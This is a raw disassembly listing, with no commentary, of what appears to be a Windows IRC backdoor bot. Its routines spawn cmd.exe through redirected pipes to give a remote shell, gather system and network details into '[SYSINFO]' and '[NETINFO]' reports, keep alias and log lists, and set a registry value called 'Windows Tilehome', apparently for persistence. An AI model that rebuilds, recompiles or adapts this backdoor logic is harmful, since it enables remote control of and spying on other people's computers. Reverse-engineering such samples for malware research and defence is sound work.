loc_40900F:				; CODE XREF: sub_408F94+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_409026


loc_409016:				; CODE XREF: sub_408F94+90j
		cmp	[ebp+eax+var_10C], 0Ah
		jz	short loc_409078
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_409016


loc_409026:				; CODE XREF: sub_408F94+80j
		mov	[ebp+var_4], 200h


loc_40902D:				; CODE XREF: sub_408F94+E8j
		push	esi
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_10C]
		push	eax
		push	dword_44CF24
		call	ds:off_41F090
		test	eax, eax
		jz	short loc_4090CA
		lea	eax, [ebp+var_10C]
		push	eax
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		add	esp, 0Ch
		jmp	loc_408FAC
; ---------------------------------------------------------------------------


loc_409078:				; CODE XREF: sub_408F94+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40902D
; ---------------------------------------------------------------------------


loc_40907E:				; CODE XREF: sub_408F94+45j
		push	offset unk_4288FC
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		push	[ebp+arg_0]
		call	sub_4135DA
		add	esp, 10h
		push	1
		call	ds:off_41F040


loc_4090A2:				; CODE XREF: sub_408F94+6Bj
		call	sub_408EA5
		push	offset unk_4288C4
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		push	[ebp+arg_0]
		call	sub_4135DA
		add	esp, 10h
		push	edi
		call	ds:off_41F040


loc_4090CA:				; CODE XREF: sub_408F94+C7j
		push	offset unk_428884
		push	ebx
		push	dword_44CF64
		call	sub_408F0D
		push	[ebp+arg_0]
		call	sub_4135DA
		add	esp, 10h
		push	edi
		call	ds:off_41F040
sub_408F94	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4090ED	proc near		; CODE XREF: sub_409BFD+99p
					; sub_40CC09+4D28p

var_278		= byte ptr -278h
var_174		= byte ptr -174h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 278h
		push	ebx
		push	esi
		push	edi
		call	sub_408EA5
		xor	esi, esi
		lea	eax, [ebp+var_278]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_44CD94	; SearchPathA
		test	eax, eax
		jz	loc_4091E7
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:off_41F0F4
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi ; sub_757191
		test	eax, eax
		jz	loc_4091E7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi ; sub_757191
		test	eax, eax
		jz	loc_4091E7
		mov	edi, ds:off_41F0F0
		push	3
		push	esi
		push	esi
		push	offset dword_44CF28
		call	edi ; sub_752C39
		push	eax
		push	[ebp+var_8]
		call	edi ; sub_752C39
		push	eax
		call	ds:off_41F0EC
		test	eax, eax
		jz	short loc_4091E7
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438A10
		push	esi
		lea	eax, [ebp+var_278]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_41F0D4	; CreateProcessA
		test	eax, eax
		jnz	short loc_4091EF


loc_4091E7:				; CODE XREF: sub_4090ED+2Fj
					; sub_4090ED+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40929D
; ---------------------------------------------------------------------------


loc_4091EF:				; CODE XREF: sub_4090ED+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_41F058
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_44CF24, eax
		mov	eax, [ebp+var_8]
		mov	dword_44CF2C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_44CF20, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_44CF64, eax
		jz	short loc_409229
		push	[ebp+arg_4]
		jmp	short loc_40922A
; ---------------------------------------------------------------------------


loc_409229:				; CODE XREF: sub_4090ED+135j
		push	ebx


loc_40922A:				; CODE XREF: sub_4090ED+13Aj
		push	offset dword_44CF30
		call	sub_413812
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset unk_428980
		call	sub_4132BE
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 134h
		add	esp, 0Ch
		mov	dword_452130[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_408F94
		push	esi
		push	esi
		call	ds:off_41F070
		cmp	eax, esi
		mov	dword_45213C[edi], eax
		jnz	short loc_40929B
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_174]
		push	offset unk_42893C
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_409833
		add	esp, 10h


loc_40929B:				; CODE XREF: sub_4090ED+185j
		xor	eax, eax


loc_40929D:				; CODE XREF: sub_4090ED+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4090ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_4092A2	proc near		; CODE XREF: sub_405F18+74p
					; sub_4093C1+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_44CF6C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_413D8A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4092A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40930B	proc near		; CODE XREF: sub_4093C1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_409313:				; CODE XREF: sub_40930B+2Fj
					; sub_40930B+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_41F050	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4155C0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_409313
		jb	short loc_409342
		cmp	ebx, esi
		ja	short loc_409313


loc_409342:				; CODE XREF: sub_40930B+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_415540
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_4093B5
		jb	short loc_409361
		cmp	esi, 50h
		jnb	short loc_409366


loc_409361:				; CODE XREF: sub_40930B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_409366:				; CODE XREF: sub_40930B+54j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_409371
		cmp	esi, 47h
		jnb	short loc_409376


loc_409371:				; CODE XREF: sub_40930B+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_409376:				; CODE XREF: sub_40930B+64j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_409381
		cmp	esi, 37h
		jnb	short loc_409386


loc_409381:				; CODE XREF: sub_40930B+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_409386:				; CODE XREF: sub_40930B+74j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_409391
		cmp	esi, 26h
		jnb	short loc_409396


loc_409391:				; CODE XREF: sub_40930B+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_409396:				; CODE XREF: sub_40930B+84j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_4093A1
		cmp	esi, 1Eh
		jnb	short loc_4093A6


loc_4093A1:				; CODE XREF: sub_40930B+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_4093A6:				; CODE XREF: sub_40930B+94j
		test	ecx, ecx
		ja	short loc_4093B5
		jb	short loc_4093B1
		cmp	esi, 0Ah
		jnb	short loc_4093B5


loc_4093B1:				; CODE XREF: sub_40930B+9Fj
		xor	eax, eax
		xor	edx, edx


loc_4093B5:				; CODE XREF: sub_40930B+4Dj
					; sub_40930B+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40930B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093C1	proc near		; CODE XREF: sub_40CC09+4F9Ap

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438A10
		mov	[ebp+var_CC], 94h
		call	ds:off_41F0F8
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_409448
		cmp	[ebp+var_C4], ebx
		jnz	short loc_409424
		cmp	[ebp+var_BC], 1
		jnz	short loc_40940E
		mov	[ebp+var_4], offset a95	; "95"


loc_40940E:				; CODE XREF: sub_4093C1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_4094C3
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_409494
; ---------------------------------------------------------------------------


loc_409424:				; CODE XREF: sub_4093C1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_409436
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409436:				; CODE XREF: sub_4093C1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_409484
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409448:				; CODE XREF: sub_4093C1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_409484
		cmp	[ebp+var_C4], ebx
		jnz	short loc_409462
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409462:				; CODE XREF: sub_4093C1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_409474
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40948B
; ---------------------------------------------------------------------------


loc_409474:				; CODE XREF: sub_4093C1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40948B


loc_409484:				; CODE XREF: sub_4093C1+7Cj
					; sub_4093C1+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_40948B:				; CODE XREF: sub_4093C1+73j
					; sub_4093C1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_4094C3


loc_409494:				; CODE XREF: sub_4093C1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_4094C3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_4094C3:				; CODE XREF: sub_4093C1+54j
					; sub_4093C1+D1j ...
		mov	ax, word_428AC4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_44CBD8
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4094FC
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_4094FC:				; CODE XREF: sub_4093C1+12Cj
		push	[ebp+arg_4]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_44CC98	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_409525
		push	dword ptr [eax]
		jmp	short loc_40952A
; ---------------------------------------------------------------------------


loc_409525:				; CODE XREF: sub_4093C1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40952A:				; CODE XREF: sub_4093C1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_413812
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:off_41F068
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:off_41F064
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	ds:off_41F000
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_415628
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40AA37
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_4092A2
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40930B
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	0FFh
		push	[ebp+arg_0]
		call	sub_413D8A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4093C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409675	proc near		; CODE XREF: sub_40CC09+4048p
					; sub_40CC09+4FC8p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		cmp	dword_44CDC0, 0
		jnz	short loc_4096E9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_44CBC0	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_4096CA
		lea	eax, [ebp+var_8C]
		push	offset aNotConnected ; "Not connected"
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_4096CA:				; CODE XREF: sub_409675+40j
		test	[ebp+var_C], 1
		jz	short loc_4096E2
		push	offset aDialUp	; "Dial-up"


loc_4096D5:				; CODE XREF: sub_409675+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_409708
; ---------------------------------------------------------------------------


loc_4096E2:				; CODE XREF: sub_409675+59j
		push	offset off_428B38
		jmp	short loc_4096D5
; ---------------------------------------------------------------------------


loc_4096E9:				; CODE XREF: sub_409675+28j
		mov	esi, offset off_428B34
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_413812
		add	esp, 10h


loc_409708:				; CODE XREF: sub_409675+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	0FFh
		push	[ebp+arg_0]
		call	sub_413D8A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_409675	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40973B	proc near		; CODE XREF: sub_40CC09+3F7Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4514A8
		mov	edi, 0B8h


loc_40974F:				; CODE XREF: sub_40973B+33j
		cmp	byte ptr [esi],	0
		jz	short loc_409772
		push	[ebp+arg_0]
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409772
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_452028
		jl	short loc_40974F
		jmp	short loc_4097B4
; ---------------------------------------------------------------------------


loc_409772:				; CODE XREF: sub_40973B+17j
					; sub_40973B+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4514A8[esi]
		push	ebx
		call	sub_413890
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_415140
		push	9Fh
		lea	eax, dword_4514C0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_415140
		add	esp, 24h
		inc	dword_42C948
		pop	ebx


loc_4097B4:				; CODE XREF: sub_40973B+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40973B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097BB	proc near		; CODE XREF: sub_40CC09+5103p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4514A8


loc_4097E5:				; CODE XREF: sub_4097BB+72j
		cmp	byte ptr [esi],	0
		jz	short loc_409820
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	sub_413D8A
		push	1
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 2Ch


loc_409820:				; CODE XREF: sub_4097BB+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_452028
		jl	short loc_4097E5
		pop	edi
		pop	esi
		leave
		retn
sub_4097BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409833	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:off_41F100
		mov	ebx, offset dword_450FA4
		mov	edi, 80h
		mov	esi, offset dword_44CFA4


loc_409855:				; CODE XREF: sub_409833+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40986C
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_415140
		add	esp, 0Ch


loc_40986C:				; CODE XREF: sub_409833+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_409855
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_413D8A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098A7	proc near		; CODE XREF: sub_4069E1+15Bp
					; sub_406B69+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41576F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_409833
		add	esp, 14h
		leave
		retn
sub_4098A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098D3	proc near		; CODE XREF: sub_40CC09+4FFDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_44CFA4
		xor	ecx, ecx


loc_4098DA:				; CODE XREF: sub_4098D3+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_450FA4
		jl	short loc_4098DA
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_428B94
		jnz	short loc_40990A
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_40990A:				; CODE XREF: sub_4098D3+1Fj
		push	esi
		call	sub_409833
		pop	ecx
		pop	esi
		retn
sub_4098D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409913	proc near		; DATA XREF: sub_40CC09+50ADo

var_21C		= byte ptr -21Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_409966
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_428BE8
		push	eax
		push	[ebp+var_11C]
		call	sub_40B2B5
		add	esp, 14h


loc_409966:				; CODE XREF: sub_409913+33j
		cmp	[ebp+var_98], 0
		jz	short loc_409986
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_409986
		mov	[ebp+var_8], eax


loc_409986:				; CODE XREF: sub_409913+5Aj
					; sub_409913+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_44CFA4


loc_40998F:				; CODE XREF: sub_409913+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_4099E9
		cmp	byte ptr [esi],	0
		jz	short loc_4099D8
		cmp	[ebp+var_98], 0
		jz	short loc_4099BE
		cmp	[ebp+var_4], 0
		jnz	short loc_4099BE
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40842E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4099D8


loc_4099BE:				; CODE XREF: sub_409913+90j
					; sub_409913+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40B2B5
		add	esp, 14h


loc_4099D8:				; CODE XREF: sub_409913+87j
					; sub_409913+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_450FA4
		jl	short loc_40998F


loc_4099E9:				; CODE XREF: sub_409913+82j
		lea	eax, [ebp+var_21C]
		push	offset dword_428BBC
		push	eax
		call	sub_413812
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_409A23
		push	esi
		lea	eax, [ebp+var_21C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40B2B5
		add	esp, 14h


loc_409A23:				; CODE XREF: sub_409913+EEj
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_409833
		push	[ebp+var_18]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040
		pop	edi
		pop	esi
sub_409913	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A42	proc near		; CODE XREF: sub_408701+1Ep
					; sub_409AB2+4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_428C18
		xor	esi, esi
		mov	ebx, offset aWindowsTilehom ; "Windows Tilehome"


loc_409A55:				; CODE XREF: sub_409A42+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_44CC94	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_409A8F
		push	[ebp+arg_0]
		call	sub_413E90
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_44CD00	; RegSetValueExA
		jmp	short loc_409A99
; ---------------------------------------------------------------------------


loc_409A8F:				; CODE XREF: sub_409A42+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_44CC54	; RegDeleteValueA


loc_409A99:				; CODE XREF: sub_409A42+4Bj
		push	[ebp+var_4]
		call	dword_44CCB8	; RegCloseKey
